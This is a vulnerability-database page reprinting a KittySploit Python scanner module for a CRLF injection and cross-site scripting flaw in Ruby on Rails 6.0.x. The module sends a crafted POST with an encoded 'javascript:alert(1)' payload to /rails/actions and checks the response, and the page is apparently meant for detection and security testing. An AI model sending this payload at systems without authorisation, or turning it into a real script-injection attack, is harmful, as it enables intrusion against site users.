Lucene search
+L

Ruby on Rails - CRLF Injection and Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

CRLF issue in Ruby on Rails allows JavaScript injection resulting in cross-site scripting.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby on Rails 6."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Ruby on Rails - CRLF Injection and Cross-Site Scripting Detection',
        'description': 'Ruby on Rails 6.0.0-6.0.3.1 contains a CRLF issue which allows JavaScript to be injected into the response, resulting in cross-site scripting.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'vulnerability', 'rails', 'xss', 'crlf', 'hackerone', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': ['https://hackerone.com/reports/904059'],
    }

    def run(self):
        path = '/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa'
        r = self.http_request(method='POST', path=path, allow_redirects=False)
        if not r or r.status_code != 302:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('javascript:alert(1)',)
        header_all = ('Location: aaaaa', 'text/html',)
        if (any(m in body for m in body_any)) and (all(m in headers for m in header_all)):
            self.set_info(
                severity='medium',
                reason='Ruby on Rails - CRLF Injection and Cross-Site Scripting detected',
                path=path,
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
5.6Medium risk
Vulners AI Score5.6
1